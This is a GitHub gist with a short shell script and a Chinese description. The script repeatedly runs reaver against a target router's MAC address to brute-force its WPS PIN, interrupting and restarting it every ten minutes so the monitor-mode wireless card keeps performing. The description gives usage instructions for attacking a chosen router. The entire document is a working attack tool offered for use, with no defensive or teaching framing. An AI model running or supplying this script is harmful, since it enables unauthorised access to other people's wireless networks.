Last active
July 4, 2021 03:10
-
-
Save bao3/7172017 to your computer and use it in GitHub Desktop.
reaver PIN时每10分钟模拟键盘输入Ctrl+C中断,因为无线网卡运行在monitor模式大约10分钟后就性能下降,因此需要强制中断reaver。使用时 sudo ./10pin aa:bb:cc:dd:ee:ff:11(即路由器MAC) 额外的reaver指令 请在空格后使用""(双引号)中写入,例如channel 6 ,可以使用 sudo ./10pin aa:bb:cc:dd:ee:ff:11 "-c 6" 如果你要实时查看进度,可以使用 tail -f /var/log/reaer.pin.log
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
reaverCMD() | |
{ | |
reaver -i mon0 -b $1 -v -a -S -N -r 100:60 $2 >>/var/log/reaver.pin.log & | |
tmp_pid=$(ps a| grep reaver | grep -v grep | awk '{print $1}' ); | |
echo $tmp_pid; | |
} | |
while true : | |
do | |
pid=$(reaverCMD $1 $2); | |
#echo pid $pid; | |
sleep 600; | |
kill -2 $pid; | |
sleep 2; | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment